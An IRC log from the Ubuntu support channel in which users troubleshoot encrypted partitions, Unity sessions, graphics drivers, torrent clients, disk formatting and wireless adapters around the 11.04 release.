[00:10] <rednammoc> little question about booting my encrypted hd during boot. i added a line to /etc/crypttab and another to /etc/fstab. During boot it asks about the hd. Pressing 'M' i get to manual mode. ls /dev/mapper/ --> the hd is not mapped to this folder. manually steps like: cryptsetup luksOpen /dev/sdb my_map; mount /dev/mapper/my_map /media/the_map -- are working. any ideas what's wrong :-?
[00:10] <soreau> zizban: clean install
[00:10] <Angelic> Captainkrtek: Linux firmware thats about it.
[00:10] <Glycan> PArdonÉ
[00:10] <Glycan> Anyoen mind answering?
[00:10] <donkeyinspace> hello, is there a specific channel to talk about compiling?
[00:10] <ceed^> I have my disk partitioned with a / partition and an encrypted /home partition. Before I encrypted /home I updated by deleting everything in /home except for data and format and install on /. Can I do that with an encrypted /home?
[00:11] <zizban> soreau, sounds like something went wrong during install.
[00:11] <Captainkrtek> donkeyinspace, #ubuntu-devel
[00:11] <Captainkrtek> Angelic, hold on
[00:11] <donkeyinspace> Captainkrtek , thanks
[00:11] <bazhang> Glycan, you want to resize / on wubi ?
[00:11] <Captainkrtek> donkeyinspace, no problem
[00:11] <soreau> zizban: I doubt it. The classic session worked the first time but since switching to 'ubuntu' and back to 'classic ubuntu' now both load unity
[00:11] <rednammoc> ceed^: you deleted everything except for data ?
[00:12] <Glycan> Yes.
[00:12] <Glycan> bazhang: yes
[00:12] <bazhang> Glycan, there's a special tool for that
[00:12] <Glycan> What is it?
[00:12] <soreau> zizban: I just want to know what happens exactly (or what's supposed to happen) when switching sessions
[00:13] <soreau> zizban: I assume some config file is changed but I have no idea where that might be
[00:13] <Captainkrtek> Angelic, can you try and find the package for your wireless card?
[00:13] <TheEvilPhoenix> hey all, i'm stuck at an initramfs screen, with an error where it can't find /sbin/init in the system on boot.  It booted fine last night.  I also can't load up the LiveUSB.  Any suggestions on fixing?
[00:13] <Captainkrtek> Angelic, http://packages.ubuntu.com/
[00:13] <rednammoc> ceed^: what do you meen by saying you deleted everything except data on /home ?
[00:13] <ceed^> rednammoc, yes all the settings for programs and such, but kept all my data like docs music pics and such. That's been the way I've upgraded Ubuntu for years. Now I had to encrypt /home, so I wonder if I will be able to access the old encrypted /home after an instll on /?
[00:13] <bazhang> http://ubuntuforums.org/showthread.php?t=1625371 Glycan
[00:14] <zizban> soreau, got me
[00:14] <w30> How do I make Unity start at login rather than restarting window manager after I log in?
[00:14] <puff> How do you figure out if a CPU is 64-bit?
[00:14] <soreau> zizban: I am requesting the ubuntu gdm source in the devel channel
[00:15] <rednammoc> ceed^: mounting the encrypted root-partition on boot works but you have problems by mounting the encrypted home-partition?
[00:15] <puff> I've tried to install ubuntu on this old dell poweredge three times, with two different releases (10.4 LTS and 11) and the altenrate install CD.  Every time, it gets halfway through the install, and the screen freezes.
[00:15] <bastidrazor> puff: cat /proc/cpuinfo | grep lm     :if you get any output you have a 64 bit capable processor
[00:15] <puff> bastidrazor: Okay, so it's *not* 64-bit...
[00:16] <zizban> soreau, you know it might be controlled by $GNOME_PREFIX/share/gdm/defaults.conf
[00:16] <zizban> I'm not sure though
[00:16] <georgie> hello
[00:17] <rednammoc> ceed^: mounting the encrypted root-partition on boot works but you have problems by mounting the encrypted home-partition?
[00:17] <ceed^> rednammoc, I do not have any problems now. When I upgrade Ubuntu I use custom partitioning. I format / and install on it. I do not format /home which is where I keep all my data. That worked fine when I didn't have /home encrypted. Now I do, so I wonder if the installer will recognize the encrypted /home partition?
[00:17] <ceed^> rednammoc, the only partition which is encrypted is /home.
[00:18] <drmorphias> i just installed ubuntu 11.04, and i see that nvidia drivers are installed but the additional drivers page says that no proprietary drivers are in use on this system.
[00:19] <victorhugo289> hello
[00:19] <drmorphias> victorhugo289, hi
[00:19] <rednammoc> ceed^: this is a google result for: ubuntu installation recognize encrypted home partition --> http://superuser.com/questions/12182/how-to-get-a-reinstall-of-ubuntu-to-recognize-home-partition
[00:19] <victorhugo289> Guys, in Banshee, does "importing your videos" copy everything into a different folder?
[00:19] <victorhugo289> what does it do?
[00:20] <soreau> zizban: 'locate defaults.conf|grep gdm' shows no output
[00:20] <Aikar> tanyone know why im getting a black screen after switching to KDE?
[00:20] <drmorphias> "this driver is activated but not currently in use"... how do i make ubuntu use the nvidia driver?
[00:21] <victorhugo289> The Banshee "import" option, does it copy media files into a different folder? anybody?
[00:21] <Glycan> Why won't ubuntu recognize my cds?
[00:21] <zizban> I dont think so
[00:21] <w30> drmorphias, make sure you read the buttons right, my drivers are green button and  gray button; confusing
[00:21] <zizban> I think it just makes a playlist
[00:21] <happolati> soreau: Ok, here it is: http://pastebin.ca/2053648
[00:21] <victorhugo289> Zizban, I don't think so either, but I just wanna make sure before I click on "Import"
[00:22] <drmorphias> w30, yeah it shows a green icon. confusingly enough, unity works when ubuntu claims the driver isnt in use (ugh)
[00:22] <victorhugo289> I'm running out of space on my computer
[00:22] <zizban> victorhugo289, I think your safe
[00:22] <freeman_> i am running ubuntu 64 bit on my single processor netbook. should i worry or is it ok?
[00:22] <ceed^> rednammoc, I have read that, but that is about /home that's not encrypted. I already know how to do that  without /home encrypted.
[00:23] <victorhugo289> I'll choose the option, then. : )
[00:23] <Joker_77> lol free should be ok
[00:23] <Jordan_U> freeman_: That is OK.
[00:23] <user10213> hallo
[00:23] <drmorphias> is there like a 3d test i can run to really see if the driver is actually being used?
[00:23] <Ziber> Would anyone be able to venture a guess as to why skype makes my laptop run really hot (~90C) but is fine otherwise?
[00:23] <w30> drmorphias, how do you make Unity default without  having to reload window manager?
[00:23] <user10213> can someone help me please?
[00:23] <Ziber> ubuntu 10.10...
[00:23] <user10213> need help at 11.04 natty narwhal
[00:23] <Joker_77> im running 32 bit ubuntu on my netbook
[00:23] <user10213> just dunno how to partition
[00:23] <Maahes> how do you make a sound theme?
[00:23] <drmorphias> w30, idk... it defaulted for me.
[00:24] <w30> drmorphias, if you can run the program gears then the driver works
[00:24] <Jordan_U> drmorphias: If unity3D is working then you're using the proprietary nvidia drivers.
[00:24] <user10213> hmmmmmmmmp
[00:24] <Joker_77> the only problem ive had with ubuntu on a netbook is
[00:24] <user10213> someone help me?
[00:24] <rednammoc> ceed^: ok. i now the manual steps to do that: sudo cryptsetup luksOpen /dev/<device> <map_name>; sudo mount /dev/map/<map_name> /home
[00:24] <Jordan_U> w30: Incorrect. glxgears can be runwith the software renderer.
[00:24] <tepster> user10213: ubuntu install walks you through partitioning
[00:24] <Joker_77> some of the program guis wont ajust for this screen size
[00:24] <sary> user10213: use gparted
[00:24] <victorhugo289> Yup! everything's ok!
[00:25] <ray24> If an external hd was originally formated on a windows, it should be able to on linux?
[00:25] <Joker_77> i like cli better anyways though
[00:25] <zizban> victorhugo289, good to hear!
[00:25] <Ziber> Would anyone be able to venture a guess as to why skype makes my laptop run really hot (~90C) but is fine otherwise (ubuntu 10.10)?
[00:25] <rednammoc> ceed^: to manually mount your home-partition you need to edit /etc/crypttab and /etc/fstab
[00:25] <w30> Jordan_U, how do you get Unity to run at login?
[00:25] <victorhugo289> Great!
[00:25] <tepster> ray24: yes, ntfs or fat are windows filesystems that linux can read
[00:25] <Joker_77> atm?
[00:25] <Glycan> Hello?
[00:25] <Jordan_U> ray24: Yes. What the drive used to have is of no consequence.
[00:25] <ray24> For some reason, linux isn't letting me format my external drive
[00:25] <Glycan> How do I make Ubuntu see my CDs?
[00:25] <sary> user10213: dual booting ?
[00:25] <Joker_77> tep and fat32
[00:26] <Jordan_U> w30: It runs by default.
[00:26] <zizban> Glycan, gotta be a little more specific than that
[00:26] <geus> ray24, what message do you het?
[00:26] <Glycan> Ubuntu doens't see my CDs. That's it.
[00:26] <ray24> "error creating filesystem"
[00:26] <w30> Jordan_U, not for me *sigh*
[00:26] <Joker_77> should just show up on the desktop
[00:26] <ceed^> rednammoc, so what you're saying is that installer won't recognize the encrypted partition as such even if I set it as /home with the manual partitioner in the installer?
[00:26] <Glycan> When I trry to do "Write to disc" on some file, with a cd, I closes.
[00:27] <Glycan> It*, e.g. he file browser
[00:27] <geus> ray24, what command/program are you using?
[00:27] <w30> Jordan_U, I have to restart the window manager to get it to run.
[00:27] <Glycan> It opens a prompt the first time you put in a CD, but not the next times for the same CD.
[00:27] <ray24> geus, I right click on the hd to format, just straight off linux
[00:28] <geus> ray24, never done it like that, is the disk unmounted? I always use gparted
[00:28] <Joker_77> jeffster
[00:28] <rednammoc> ceed^: i never tried that before so i would be really careful about that :D
[00:28] <ray24> wait, I just realized I had "ext" as type of format
[00:28] <zizban> Glycan, what does the prompt say?
[00:28] <user10213> what is swap space?
[00:28] <Glycan> Open this CD with..
[00:28] <ray24> Nope, still didn't work. I changed it to NTSF type
[00:28]  * zizban hasn't burned a CD in Ubuntu in years
[00:28] <zizban> Glycan, and what do you choose?
[00:28] <Joker_77> jeffster is now known as jeffster
[00:29] <geus> ray24, , is the disk unmounted?
[00:29] <ray24> it's mounted
[00:29] <bull9408> I downloaded python while I was attempting to set up Conky, and now my splash screens on startup and shutdown are jacked up, I decided I didn't want to use Conky on this system. Anybody know how I can uninstall python? and Conky?
[00:29] <rednammoc> ceed^: maybe there is a dialog where it say's: "can't read that device/partition -> wanna format"
[00:29] <user10213> what is swap space? :D
[00:29] <ray24> I can access the files on it,but I can't delete or create new files on it, which is why I'm formating
[00:29] <Joker_77> python_h
[00:29] <ihsanuddin> tes
[00:29] <Glycan> Er.. Burn stuff to cd
[00:30] <Glycan> I forget, sort of, since I only saw it once.
[00:30] <Glycan> Aha.
[00:30] <Joker_77> sudo apt-get remove whatever isnt it?
[00:30] <Glycan> "Open CD/DVD Creator
[00:30] <Glycan> "
[00:30] <zizban> try it with "Brasero"
[00:30] <Glycan> "You have just inserted a black CD. Choose what application to launch"
[00:30] <Glycan> hang on.
[00:31] <bull9408> Joker_77 I'm not positive what exactly I typed in the terminal :O one second and I'll pull it up
[00:31] <Joker_77> so take it out and insert a white one
[00:31] <ceed^> rednammoc, hopefully it is. I guess I will simply have to backup data on /home and then try to see if it works. Thank you for the manual method though. Good to know! :)
[00:31] <Cporter> does Ubuntu work on RAID 0, and do I have to do anything to it to make it work? I was using WUBI to install but keep getting srros
[00:31] <Joker_77> do a autoclean first
[00:32] <rednammoc> ceed^: you're welcome :D
[00:32] <Joker_77> srros?
[00:32] <Jordan_U> Cporter: Yes it works (not that I recommend RAID 0, especially FakeRAID which you are most likely talking about).
[00:33] <geus> ray24, easy answer: use gparted, unmount the drive and repartition/format
[00:33] <rednammoc> Cporter: maybe this helps you: http://www.youtube.com/watch?v=-x2rZe2Z9as
[00:33] <Joker_77> jordan its better then no raid and its easier to upgrade later
[00:33] <ray24> geus, it seems that I Don't have permission to access/delete my files on external
[00:33] <bull9408> Joker_77 , I typed in $sudo apt-get install aptitude python-statgrab ttf-droid hddtemp curl lm-sensors conky-all
[00:33] <bull9408> $sudo chmod u+s /usr/sbin/hddtemp
[00:33] <comthre3> Guys,, Transmission wont download any torrent after update to Natty,, can someone help please?
[00:33] <bull9408> $sudo sensors-detect #answering
[00:34] <geus> yeah, figured that much
[00:34] <Joker_77> chmod 777 filename
[00:34] <bull9408> ignore the $ s
[00:34] <Jordan_U> Joker_77: I would argue that RAID 0 is in many respects much worse than no RAID at all.
[00:34] <comthre3> Tried deleting the config folder, with no avail
[00:34] <comthre3> can someone help please?
[00:34] <Joker_77> its easer to do forensics on too u get less lost data jordon
[00:34] <user10213> can someone private chat and help me on installing linux??
[00:35] <user10213> 11.04 natty narwhal
[00:35] <Jordan_U> !pm | user10213
[00:35] <ubottu> user10213: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[00:35] <platzhirsch> Is everyone satisfied with Unity?
[00:35] <Maahes> anyone know a skeleton template for making a sound theme?
[00:35] <Joker_77> no i like anarchy
[00:35] <geus> ray24, you could cd to the drive and type "sudo chown -R yourusername" (make sure you have backups of all your data 1st)
[00:35] <zizban> I love Unity.
[00:35] <tepster> im liking Unity..it has its quirks though
[00:35] <comthre3> anyone with transmission experience ? the ports are all set and open, the router is configured, Vuze started working now, but not transmission
[00:36] <tsrk> How do I add kernel boot parameters permanently, that last through kernel upgrades?
[00:36] <minarge> I find unity gets better the longer you use it
[00:36] <zizban> ya it has quirks but it's mostly awesome
[00:36] <geus> ray24, otherwise try gparted
[00:36] <Joker_77> anyone tried inguma?
[00:36] <w30> platzhirsch, I cant get it to be default.
[00:36] <platzhirsch> I have still some troubles with using multiple monitors, but its fine
[00:36] <minarge> as it once it knows your typical programs it becomes more efficient
[00:36] <comthre3> hello,, anyone?
[00:36] <w30> platzhirsch, I have to restart window manager
[00:37] <platzhirsch> w30: :(
[00:37] <quant> !question
[00:37] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[00:37] <tepster> i love that top left application button though...i use something like that all the time in mac os x
[00:37] <ray24> geus, its formating now, I'm not sure if it was because I downloaded gparted as I did not use it.
[00:37] <tepster> works kind of like spotlight
[00:37] <geus> ray24, good!
[00:37] <ututu> tsrk, add them in /etc/default/grub
[00:37] <Joker_77> anyone tried inguma?
[00:37] <ray24> geus you're great, thanks.
[00:37] <Cporter> it's not "FakeRaid" and this computer is better with the e read bonus, not redundancy necessary. I just want to dual boot win7 and Ubuntu.
[00:38] <Cporter> ill okk at the vid, thanks
[00:38] <bull9408> can somebody tell me how to uninstall python
[00:38] <Cporter> dam, i cant type today
[00:38] <ray24> geus, it works now :) thanks again dude!!
[00:38] <Veloce06> I have a backup from clonezilla of my previous machine. I'm trying to mount the .img file on loopback after restoring it using partclone, but I keep getting a can't read superblock. dmesg | tail shows XFS: last sector read failed. Any ideas?
[00:38] <geus> glad it worked out
[00:38] <zizban> bull9408, why do want to do that?
[00:38] <Joker_77> yeah no prob porter i would suggest rewiting the boot.ini instead of using grub though
[00:39] <eiriksvin> is there a way to use gnome3 in 11.04 Classic?
[00:39] <comthre3> can someone help me with transmission pleaase?
[00:39] <bull9408> I had installed it to use conky, however I changed my mind because I don't want conky on this system now. It has messed up splash screens on start up and shut down. and a few other graphical issues
[00:39] <quant> eiriksvin, there is a way to install Gnome Shell and Gnome 3 which breaks Unity
[00:40] <quant> !question | comthre3
[00:40] <ubottu> comthre3: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[00:40] <tsrk> ututu: Thank you, that's the file I'm looking for
[00:40] <Joker_77> hey anyone have any experience with postgresql?
[00:40] <eiriksvin> i want to keep unity for my gf, but i want the sweet eye candy for my classic
[00:40] <Cporter> unfortunately I wouldn't know how to do that without messing it up. The problem is i keep getting an error sayingno root file system. but it works with the laptop fine
[00:40] <ututu> tsrk, np
[00:40] <zizban> bull9408, if you installed it via apt, just go to Synaptic and uninstall it
[00:40] <quant> eiriksvin, Classic is Gnome 2
[00:41] <Joker_77> thats what i said ziz
[00:41] <comthre3> quant transmission wont work, tried to delete the config folder, nothing, the ports are all set and open, the router is configured, Vuze started working now, but not transmission
[00:41] <bull9408> didn't know synaptic recognized if i installed through terminal
[00:41] <minarge> @fennucci before logging in you can change the session to ubuntu classic
[00:41] <zizban> Joker_77, had back turned, eating
[00:41] <zizban> bull9408, it does
[00:41] <quant> comthre3, what exact problem are you getting?
[00:41] <zizban> eiriksvin, try Unity2D ;-)
[00:41] <bull9408> zizban, good deal, thanks man
[00:41] <zizban> bull9408, my pleasure
[00:42] <comthre3> quant, its simply not downloading/uploading anything, not even connecting to peers/seeds host unreachable, on all torrents
[00:42] <donkeyinspace> hello, where can i talk about compiling?
[00:42] <bull9408> zizban, actually I'm now seeing that I had not downloaded python, it's integral to ubuntu, well, unity...
[00:42] <Joker_77> hello world
[00:42] <quant> comthre3, do you see it open the torrent file?
[00:42] <bull9408> zizban, here's the command I put in terminal: $sudo apt-get install aptitude python-statgrab ttf-droid hddtemp curl lm-sensors conky-all
[00:42] <bull9408> $sudo chmod u+s /usr/sbin/hddtemp
[00:42] <bull9408> $sudo sensors-detect #answering
[00:42] <fennucci> eh minarge
[00:42] <tepster> donkeyinspace: #ubuntu-dev i believe
[00:43] <comthre3> quant,  the torrent file loads, but gives a 0 0 peers seeds doesnt connect to anyone
[00:43] <zizban> bull9408, unless you are crunched for disk space, don't worry a bout those. they're harmless
[00:43] <minarge> ah sorry does @<username> send a private message?
[00:43] <bull9408> ok.
[00:43] <Joker_77> idid u autoclean?
[00:43] <quant> comthre3, check more torrents and check all the setting (maximum and minimum dowload and upload limit etc.)
[00:43] <bull9408> zizban, any clue about what messed up my splash screens
[00:44] <Eyes_Only> Hello everyone, I need some help with keyboard mapping and manually altering what keys do.
[00:44] <zizban> bull9408, what splash scrren?
[00:44] <comthre3> quant, did that, tried 13 torrents from different sites, all working in vuze non in transmission
[00:44] <eiriksvin> is unity 2D gonna give me that little glow around my windows, and make my menus  and windows tranpsparent?
[00:44] <minarge> quant whats wrong with your keys?
[00:45] <puff> Can anybody help me get ubuntu installed on this machine?
[00:45] <eiriksvin> cus thats what i want, i like my inside veiw desktop box too
[00:45] <puff> It keeps freezing halfway through the install.
[00:45] <bull9408> zizban, well I'm referring to them as splash screens, the "Ubuntu" screen with the "....." when you are starting up and shutting down. They just kinda go black and do some crazy pixelation, thing. not really sure
[00:45] <zizban> eiriksvin, I'm not sure. My untiy 2d install is that work
[00:45] <Eyes_Only> minarge: ae you talking to me?
[00:45] <zizban> bull9408, did this start after you installed that software?
[00:45] <bull9408> yes
[00:46] <Veloce06> I'm trying to mount a backup .img file getting the error /dev/loop0: can't read superblock. This is from a clonezilla backup of an XFS partition. What is this error telling me? Google didn't give me anything either.
[00:46] <Joker_77> ziz get him to start with a autoclean to see if its leftovers
[00:46] <zizban> let me scroll up and see what you installed
[00:46] <zizban> Joker_77, ah yes
[00:46] <eiriksvin> is it possible to get gnome3 on 11.04?
[00:47] <LjL> eiriksvin: it's possible, but it will break Unity and quite possibly other things, and it's unsupported
[00:47] <geus> comthre3, you do have a static IP address?
[00:47] <comthre3> geus, yes
[00:48] <zizban> bull9408, you can try autoclean. sudo apt-get autoclean
[00:48] <geus> ports forwarded on router? Firewalls? firestarter/ufw?
[00:48] <Angelic> Captainkrtek: I managed to find the package and had to transfer it via usb to install it and it did but still no wifi.
[00:48] <comthre3> geus, all open, no firewall
[00:48] <Captainkrtek> Angelic, not sure, never had an issue like this :/
[00:48] <Angelic> Captainkrtek: It'll detect the wifi networks but the wifi networks come in greyed out.
[00:48] <bull9408> zizban, says it's unable to find package "autoclean"
[00:48] <eiriksvin> crap, is there anything else i can do for classic... other than be stuck with what little compiz offers?
[00:49] <geus> tried alternate ports? 16881-16891 instead of 6881-6891
[00:49] <quant> eiriksvin, what are you referring to as "classic"?
[00:49] <comthre3> geus, hmmm,, nop didnt try that, let me give it a whire!
[00:49] <comthre3> wait!!!
[00:49] <comthre3> it started working now!!!!!!! when i ran it as sudo it started downloading!
[00:49] <Angelic> Anyone knows a fix to wireless networks being greyed out in the wifi list?
[00:50] <eiriksvin> Ubuntu (Classic Session) when you choose your session at the login creen at the bottom
[00:50] <geus> hmm, that's ermm not good
[00:50] <geus> shouldn't need root priviliges
[00:50] <zizban> bull9408, it's part of apt-get. it should just be "sudo apt-get autoclean"
[00:50] <geus> probably will work as "normal" user now too
[00:50] <Angelic> Anyone knows a fix to wireless networks being greyed out in the wifi list?
[00:50] <comthre3> geus, i know,,, it was a hailmerry sorta thing and it worked.. let me check running as normal use
[00:51] <bull9408> zizban, ok, it ran... well, the command ran without errors.
[00:51] <eiriksvin> Angelic whats ur Wifi adapter, and what driver are you using?
[00:51] <bull9408> zizban, is that all there is to it?
[00:52] <gem_cat> I am under some kind of attack - I am watching it on tcpdump but do not know what to do about it
[00:52] <Fudge> does anybody know if it is possible to convert a powerpoint presentation to vcd
[00:52] <comthre3> geus, im getting "Couldn't open "/home/com3/.config/transmission/lock": Permission denied"
[00:52] <Angelic> erbngeek: Not sure, I just know its an IBM R32.
[00:52] <zizban> bull9408, yup so it found nothing. That was a long shot. Try uninstalling everything you installed, what you listed
[00:52] <geus> try removing your config files as root and fire up as normal user afterwards then I'd guess
[00:52] <Angelic> eiriksvin: Not sure I know its an IBM 32* not sure of the hardware
[00:52] <bull9408> ok
[00:53] <eiriksvin> ok are you using it through Wireless Windows Drivers?
[00:53] <geus> unless transmission is still running as root?
[00:53] <geus> tray?
[00:53] <eiriksvin> Angelic^
[00:54] <Angelic> eiriksvin: I think so.
[00:54] <multipass_> !bugs
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[00:54] <eiriksvin> Angelic open it up, and the driver name will be in there
[00:54] <Angelic> eiriksvin: Through what command in terminal?
[00:56] <robin0800> Angelic, lspci and look for wireless adapter
[00:56] <eiriksvin> Angelic open ur terminal and type lsusb             <that will tell you what adapter you have
[00:56] <maryanne> Hey I just tried out a code to a site to reprogram it but it's locked; is there any other way to program an existing site?
[00:57] <Angelic> eiriksvin: Aironet wireless communications cisco aironet wireless 802.11b
[00:57] <eiriksvin> robin0800 lspci will only give you pci info, lsusb will give you usb info
[00:57] <maryanne> ok thanks
[00:57] <Mitchell|2> Can someone help me with something? I just installed ubuntu 11.04 on a 2005 intel mac mini, worked fine with 10.04... now I put in a KVM switch today, when I switch devices, a lot of the time, I have to reset the computer, it doesn't respond, it locks up.
[00:58] <maryanne> You might have virus
[00:58] <Mitchell|2> Me, maryanne?
[00:58] <eiriksvin> ok, take that online and google it to see if theres a way to get it to run native, thats the best:)
[00:59] <Angelic> eiriksvin: me?
[00:59] <maryanne> Hey I need some help I tried to use a code on a website to reprogram it but it's locked. Is there any other way to program an existing site?
[00:59] <eiriksvin> yeah, sorry:)
[01:00] <Angelic> Anyone knows a fix to wireless networks being greyed out in the wifi list?
[01:00] <tjiggi_fo> !ot | maryanne
[01:00] <ubottu> maryanne: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[01:00] <comthre3> geus, guess what! it just decided to work out of the blue! but thanks for your help :)
[01:00] <puff> Angelic: Usually it does that if the network in question isn't in range.
[01:01] <kernul> is there a way to disable my computer from sleeping when i close the lid in 11.04?
[01:01] <tensorpudding> kernul: yes, check out the power settings
[01:01]  * ceed^ is away: Auto-away after 30 mins idle (gone at 3rd May, 19:01:28)
[01:01] <kernul> tensorpudding: not blank the screen... do nothing
[01:01] <kernul> tensorpudding: using external display
[01:01] <gem_cat> someone help me overcome this stupid attack - :(
[01:01] <bastidrazor> ubottu: tell ceed^`away about away
[01:01] <Angelic> puff: I am rigt under it.. I have one windows laptop working on it now (this one is it)
[01:01] <ubottu> ceed^`away, please see my private message
[01:01] <tensorpudding> kernul: what?
[01:01] <geus> comthre3, weird, sounded like your config files were owned by root but O.K. Cool I guess :)
[01:02] <maryanne> Is there a way to rename a computer after you've finished setting it up?
[01:02] <tensorpudding> kernul: you want video to keep going to the screen when you've closed the lid?
[01:02] <kernul> tensorpudding: if i set blank screen it blanks the screen... no big deal right? but im using an external display
[01:02] <bastidrazor> !hostname | maryanne
[01:02] <ubottu> maryanne: Use hostname <somehostname> to set the hostname, or to do it permanently: edit /etc/hosts to include BOTH the old and new hostname and then change /etc/hostname to the new one. WARNING! Make sure that your current hostname and /etc/hosts match, otherwise sudo may not work properly.
[01:02] <kernul> tensorpudding: it blanks that screen too...
[01:02] <tensorpudding> kernul: oh
[01:02] <tensorpudding> that's not supposed to happen, i don't think
[01:02] <maryanne> Ok thank you my cpu. name sucks
[01:02] <kernul> tensorpudding: ya i know... it didnt in 10
[01:03] <kernul> and i cant for the life of me get it to stop
[01:03] <tensorpudding> kernul: could be a bug then
[01:03] <Angelic> Anyone knows a fix to wireless networks being greyed out in the wifi list?
[01:03] <comthre3> geus, you know whats weirder? tranmission autostarts so it cannot be owned by root., that doesnt make any sense, but its working cant complain :)
[01:03] <freezway> hey, i upgraded my heatsink and now sound doesnt work. I usually run arch but it doesnt work off the ubuntu 10.10 livecd either
[01:03] <kernul> tensorpudding: shoulda stayed with 10 (= i seem to be having all sorts of issues
[01:03] <freezway> lspci finds my sound card, but alsa wont load
[01:04] <maryanne> I  need my computer debugged
[01:04] <geus> comthre3, but if you start it from terminal it doesn't display any errors?
[01:04] <kernul> tensorpudding: thanks for your help
[01:04] <Angelic> Anyone knows a fix to wireless networks being greyed out in the wifi list?
[01:04] <freezway> maryanne, more specific please
[01:05] <maryanne> It keeps locking me from my downloads and saying stuff
[01:05] <robin0800> Angelic, what does the windows machine tell you about the adapter
[01:05] <dios_mio> can anyone address my problem --> https://bugs.launchpad.net/ubuntu/+bug/776451
[01:05] <ubottu> Ubuntu bug 776451 in Ubuntu "keyboard layouts - will the new window get the active window's layout" [Undecided,New]
[01:05] <maryanne> I keep getting messages
[01:05] <dios_mio> In keyboard layouts preferences there is the option where you can pick whether you want the new windows to get the active window's layout. This option is broken because whatever you pick it is always the rule that new windows get the active windows's layout.
[01:05] <Angelic> Anyone knows a fix to wireless networks being greyed out in the wifi list?
[01:05] <freezway> maryanne, what messages
[01:06] <comthre3> geus, nopm starts normally
[01:06] <nutsfornatty> good day all
[01:06] <maryanne> codes and things to use to debug
[01:06] <xet7> nutsfornatty: good day :)
[01:06] <freezway> maryanne, please give us the messages. we cant do anything without knowing what the problem is
[01:06] <Angelic> Anyone knows a fix to wireless networks being greyed out in the wifi list?
[01:06] <geus> o.k. nothing to worry about then I guess
[01:06] <flodine> can someone tell me why unity desktop keeps locking up?
[01:07] <maryanne> hold on
[01:07] <Eyes_Only> Anyone here familiar with openbox and keyboard apping?
[01:07] <freezway> Angelic, please dont ask the same question 10x in a row. ask it and wait a little, reask if you must in a few minutes
[01:07] <Alec_> hey guys
[01:07] <eiriksvin> flodine check your graphics driver
[01:07] <Alec_> anyone here that i can ask a question?
[01:07] <freezway> !ask Alec_ \
[01:07] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[01:07] <freezway> !ask Alec_
[01:07] <freezway> !question Alec_
[01:07] <quant> !question | Alec_
[01:07] <LjL> Alec_: just ask it
[01:07] <ubottu> Alec_: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[01:08] <freezway> quant, beat me to it
[01:08] <flodine> eiriksvin i just in stalled the basic on recomended
[01:08] <maryanne> just lost info
[01:08] <Eyes_Only> Angelic: what wireless card do you have
[01:08] <eiriksvin> Angelic google it and see if u can run in Native
[01:08] <maryanne> have to go bye
[01:08] <Angelic> Eyes_Only: Aironet wireless communications cisco aironet wireless 802.11b
[01:09] <eiriksvin> flodine whats ur graphics card?
[01:09] <Eyes_Only> Angelic: wow thats some serious hardware, wht model
[01:09] <robin0800> Angelic, thats not enough info you need a product number
[01:09] <flodine> eiriksvin nvidia fx quadro
[01:10] <eiriksvin> heh.. thats why...
[01:10] <dios_mio> In keyboard layouts preferences there is the option where you can pick whether you want the new windows to get the active window's layout. This option is broken because whatever you pick it is always the rule that new windows get the active windows's layout.
[01:10] <flodine> what should i do
[01:10] <nutsfornatty> nvidia? hum, ati released new drivers for 11.04.. has nvidia done the same yet?
[01:10] <jwtiyar> how to use usb to alternate upgrade? https://help.ubuntu.com/community/NattyUpgrades#Upgrading%20Using%20the%20Alternate%20CD/DVD
[01:10] <Angelic> Eyes_Only: Doesn't say.
[01:11] <nutsfornatty> flodine: if, and only if, nvidia has released new 11.04 drivers you should use those
[01:11] <eiriksvin> flodine ok, heres what u do, ru in Natty now?
[01:11] <flodine> yes
[01:11] <Alec_> hey, so i have a macbook pro (first generation) or macbook pro 3,1. With the release of ubuntu 11.04 i got interested, and downloaded the 32 bit version. i burned it to a cd using disk utility with no problems, then popped it in and using rEFlt, booted into it. After showing the loading screen for 4=+ minutes, it showed three lines of errors. 1.(initramifs) can not moint /dev/loop0 (lcdrom/casper/filesystem.squashfs 2.udevd [82]: wo
[01:11] <Alec_> [203] unexpectedly returned with status 0x0100 and 3. udevd [82]: worker [203] failed while handling '/devices/virtual/block/loop0'
[01:11] <robin0800> Angelic, your windows machine should know
[01:11] <Eyes_Only> Angelic: get the hardware id
[01:12] <freezway> hey, i upgraded my heatsink and now sound doesnt work. I usually run arch but it doesnt work off the ubuntu 10.10 livecd either. lspci sees it, but on arch, alsaconf does not. output of "sudo alsa reload" here http://pastebin.com/dpDD226g
[01:12] <eiriksvin> flodine Search for System Settings then inside there look for Additional Drivers
[01:12] <flodine> right
[01:12] <fizyplankton> i forget. how do i disable x? not just switch to a VT, but actually disable it?
[01:12] <eiriksvin> flodine use the nVIDIA 173 driver
[01:12] <jwtiyar> there is alternate USB to upgrade?
[01:13] <Eyes_Only> robin0800: cisco aironet is serious hardware, not a consumer/end user wireless solution
[01:13] <ngc604> Angelic, does it have a serial number or any kind of sticker on the back?
[01:13] <eiriksvin> flodine if its an option
[01:13] <flodine> ok thxs im doing it now and will reboot soon
[01:13] <freezway> fizyplankton, kill it? "sudo service gdm stop"
[01:13] <Alec_> Anyone?
[01:13] <fizyplankton> freezway: thx
[01:13] <robin0800> Eyes_Only, yes but she sayes its working now with windows
[01:13] <eiriksvin> flodine then youll be welcome to Natty:)
[01:14] <eiriksvin> flodine then get Compiz
[01:14] <root> hello
[01:14] <freezway> to keep it from starting edit /etc/rc.conf (may be init.conf or something, just remove gdm from the daemons list)
[01:14] <tensorpudding> fizyplankton: edit the /etc/init/gdm.conf and comment out the lines beginning with "start on"
[01:14] <flodine> why compiz
[01:14] <bastidrazor> fizyplankton: in /etc/default/grub add 'text' to GRUB_CMDLINE_LINUX_DEFAULT=   ::this will boot you to a terminal login
[01:14] <eiriksvin> flodine trust me you will want that:)
[01:14] <Eyes_Only> robin0800: i gathered that, but someone with that kind of hardware should at least know what they are doing with it lol
